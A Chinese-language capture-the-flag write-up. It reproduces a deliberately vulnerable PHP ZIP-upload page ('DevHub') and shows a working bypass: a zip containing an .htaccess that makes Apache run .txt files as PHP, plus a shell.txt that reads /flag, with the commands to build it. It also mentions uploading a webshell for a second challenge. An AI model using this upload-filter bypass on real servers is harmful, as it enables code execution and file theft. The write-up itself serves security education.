DevHub
访问首页可以看到这是一个支持 ZIP 上传与自动解压的“内部代码包分发站”。
在发布包功能中可以,直接查看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216
| <?php // 开发者调试接口(上线时忘记删除) if (isset($_GET['source'])) { header('Content-Type: text/plain; charset=utf-8'); echo file_get_contents(__FILE__); exit; }
$error = ''; $success = ''; $pkg_url = '';
/** * 安全解压 ZIP 包到目标目录 * * 安全策略: * 1. 拦截可执行脚本扩展名(.php/.phtml/.phar 等) * 2. 使用 realpath() 防止路径穿越攻击 */ function extract_package(string $zip_path, string $dest_dir): array { $zip = new ZipArchive(); if ($zip->open($zip_path) !== true) { return ['ok' => false, 'err' => '无法打开 ZIP 文件']; }
$extracted = [];
for ($i = 0; $i < $zip->numFiles; $i++) { $entry = $zip->getNameIndex($i);
// 跳过目录条目 if (substr($entry, -1) === '/') { continue; }
// 安全检查 1:禁止上传可执行脚本 if (preg_match('/\.(php\d*|phtml|phar|shtml)$/i', $entry)) { continue; }
$dest_file = $dest_dir . DIRECTORY_SEPARATOR . $entry;
// 安全检查 2:使用 realpath() 防止路径穿越 // realpath() 返回规范化绝对路径,可检测 ../ 穿越 // 注意:若目标路径不存在,realpath() 返回 false $real_dest_dir = realpath(dirname($dest_file)); $real_base = realpath($dest_dir);
if ($real_dest_dir !== false && $real_base !== false) { // 路径已解析:验证是否在目标目录内 if (strpos($real_dest_dir . DIRECTORY_SEPARATOR, $real_base . DIRECTORY_SEPARATOR) !== 0) { // 检测到路径穿越,跳过此文件 continue; } } // 若 realpath() 返回 false(路径不存在),直接信任并继续 // —— 开发者认为不存在的路径不构成威胁 ——
// 创建目标目录并写入文件 $dir = dirname($dest_file); if (!is_dir($dir)) { mkdir($dir, 0755, true); } file_put_contents($dest_file, $zip->getFromIndex($i)); $extracted[] = $entry; }
$zip->close(); return ['ok' => true, 'files' => $extracted]; }
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['package'])) { $f = $_FILES['package'];
if ($f['error'] !== UPLOAD_ERR_OK) { $error = '上传失败,错误码:' . $f['error']; } elseif (!preg_match('/\.zip$/i', $f['name'])) { $error = '请上传 .zip 格式的代码包'; } elseif ($f['size'] > 10 * 1024 * 1024) { $error = '文件大小不能超过 10MB'; } else { // 创建唯一包目录 $pkg_id = substr(md5(uniqid(rand(), true)), 0, 12); $pkg_dir = __DIR__ . '/packages/' . $pkg_id; mkdir($pkg_dir, 0755, true);
$result = extract_package($f['tmp_name'], $pkg_dir);
if ($result['ok']) { $count = count($result['files']); $success = "代码包发布成功!解压了 {$count} 个文件,包 ID:{$pkg_id}"; $pkg_url = '/view.php?id=' . urlencode($pkg_id); } else { $error = $result['err']; rmdir($pkg_dir); } } } ?> <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width,initial-scale=1"> <title>发布代码包 — DevHub</title> <style> *{box-sizing:border-box;margin:0;padding:0} body{font-family:'Segoe UI',system-ui,monospace;background:#0d1117;color:#c9d1d9;min-height:100vh} header{background:#161b22;border-bottom:1px solid #30363d;padding:14px 40px;display:flex;align-items:center;gap:14px} .logo{width:32px;height:32px;background:linear-gradient(135deg,#238636,#2ea043);border-radius:6px;display:flex;align-items:center;justify-content:center;font-size:16px} header h1{font-size:1.15rem;font-weight:600;color:#e6edf3} header .tag{font-size:.72rem;background:#1f2937;color:#3fb950;border:1px solid #238636;padding:2px 8px;border-radius:4px;font-family:monospace} nav{background:#161b22;border-bottom:1px solid #30363d;padding:0 40px} nav a{color:#8b949e;text-decoration:none;padding:12px 16px;font-size:.88rem;display:inline-block;border-bottom:2px solid transparent} nav a:hover{color:#e6edf3} nav a.active{color:#e6edf3;border-bottom-color:#f78166} .container{max-width:700px;margin:0 auto;padding:40px 24px} h2{font-size:1.4rem;font-weight:600;color:#e6edf3;margin-bottom:8px} .subtitle{color:#8b949e;font-size:.88rem;margin-bottom:28px} .card{background:#161b22;border:1px solid #30363d;border-radius:8px;padding:28px} label{display:block;font-size:.85rem;color:#c9d1d9;margin-bottom:6px;font-weight:500} .hint{font-size:.78rem;color:#6e7681;margin-top:4px} .drop-zone{border:2px dashed #30363d;border-radius:8px;padding:48px 24px;text-align:center;cursor:pointer;transition:.2s;background:#0d1117;margin-bottom:8px} .drop-zone:hover{border-color:#388bfd;background:#1c2433} .drop-zone input{display:none} .drop-zone .icon{font-size:2rem;margin-bottom:8px} .drop-zone strong{color:#79c0ff;display:block;margin-bottom:4px} .drop-zone small{color:#6e7681;font-size:.8rem} input[type=text]{width:100%;background:#0d1117;border:1px solid #30363d;border-radius:6px;padding:8px 12px;color:#e6edf3;font-size:.9rem;outline:none;transition:.15s} input[type=text]:focus{border-color:#388bfd} .form-group{margin-bottom:20px} .btn{display:inline-flex;align-items:center;gap:6px;padding:9px 20px;border-radius:6px;border:1px solid;font-size:.88rem;font-weight:500;cursor:pointer;transition:.15s;text-decoration:none} .btn-green{background:#238636;border-color:#2ea043;color:#fff} .btn-green:hover{background:#2ea043} .alert{padding:12px 16px;border-radius:6px;font-size:.85rem;margin-bottom:20px} .alert-ok{background:#0d2e1a;border:1px solid #238636;color:#3fb950} .alert-err{background:#2d0c0c;border:1px solid #da3633;color:#f85149} .security-note{margin-top:20px;background:#12151a;border:1px solid #21262d;border-radius:6px;padding:14px 18px;font-size:.8rem;color:#6e7681} .security-note ul{list-style:none;padding:0;margin-top:8px} .security-note li{padding:3px 0;display:flex;align-items:center;gap:7px} .security-note li::before{content:'🔒';font-size:.8rem} .file-info{background:#12151a;border:1px solid #21262d;border-radius:6px;padding:10px 14px;font-size:.82rem;color:#79c0ff;margin-top:8px;display:none} </style> </head> <body> <header> <div class="logo">📦</div> <h1>DevHub</h1> <span class="tag">internal · v1.0</span> </header> <nav> <a href="/">代码包</a> <a href="/upload.php" class="active">发布包</a> </nav> <div class="container"> <h2>发布新代码包</h2> <p class="subtitle">上传 ZIP 压缩包,系统将自动解压并发布到分发仓库</p>
<?php if ($error): ?> <div class="alert alert-err">⚠ <?= htmlspecialchars($error) ?></div> <?php endif; ?>
<?php if ($success): ?> <div class="alert alert-ok"> ✓ <?= htmlspecialchars($success) ?> <?php if ($pkg_url): ?> <a href="<?= htmlspecialchars($pkg_url) ?>" style="color:#79c0ff">查看包内容 →</a> <?php endif; ?> </div> <?php endif; ?>
<div class="card"> <form method="post" enctype="multipart/form-data"> <div class="form-group"> <label>代码包文件 (.zip)</label> <div class="drop-zone" onclick="document.getElementById('zipInput').click()"> <label> <input type="file" id="zipInput" name="package" accept=".zip"> <div class="icon">🗜️</div> <strong>点击选择 ZIP 文件</strong> <small>最大 10MB · 仅限 .zip 格式</small> </label> </div> <div class="file-info" id="fileInfo">📦 <span id="fileName"></span></div> <p class="hint">ZIP 包将被解压至专属目录,文件可通过浏览器直接访问</p> </div> <button type="submit" class="btn btn-green">⬆ 发布代码包</button> </form>
<div class="security-note"> <strong style="color:#8b949e">安全说明:</strong> <ul> <li>自动过滤 PHP/PHTML/PHAR 等可执行脚本文件</li> <li>使用 realpath() 防止 ZIP 路径穿越(ZipSlip)攻击</li> <li>每个包分配独立隔离目录,防止文件覆盖</li> </ul> </div> </div>
<p style="margin-top:16px;font-size:.75rem;color:#484f58;text-align:center"> 提示:开发者模式已启用 · <a href="?source=1" style="color:#6e7681">查看源码</a> </p> </div> <script> document.getElementById('zipInput').addEventListener('change', function() { if (this.files[0]) { document.getElementById('fileInfo').style.display = 'block'; document.getElementById('fileName').textContent = this.files[0].name + ' (' + (this.files[0].size / 1024).toFixed(1) + ' KB)'; } }); </script> </body> </html>
|
源码中 ZIP 解压逻辑如下:
1 2 3 4 5 6 7 8 9 10
| $dest_file = $dest_dir . DIRECTORY_SEPARATOR . $entry; $real_dest_dir = realpath(dirname($dest_file)); $real_base = realpath($dest_dir);
if ($real_dest_dir !== false && $real_base !== false) { if (strpos($real_dest_dir . DIRECTORY_SEPARATOR, $real_base . DIRECTORY_SEPARATOR) !== 0) { continue; } }
|
拦截了 .php/.phtml/.phar,以及realpath() 防 ZipSlip
过滤了.php文件,但是我们可以上传.htaccess然后上传允许的文件,内容为php代码,把这个文件让apache解析php代码
.htaccess
1
| AddType application/x-httpd-php .txt
|
shell.txt
1
| <?=file_get_contents("/flag")?>
|
用下面命令构造zip
1 2 3
| printf 'AddType application/x-httpd-php .txt\n' > .htaccess printf '<?=file_get_contents("/flag")?>' > shell.txt zip exploit.zip .htaccess shell.txt
|
上传 exploit.zip 后,页面返回一个包 ID,记住
然后直接访问:
1
| http://111.228.17.9:18092/packages/24ec367ed1f9/shell.txt
|
页面返回:
1
| flag{z1p_sl1p_r34lp4th_byp4ss}
|
AssetSys
首页数据展示异常直接泄露了 flag。

或者
写个马就行了

重新上传了一个马,之前不知道为什么一直语法错误
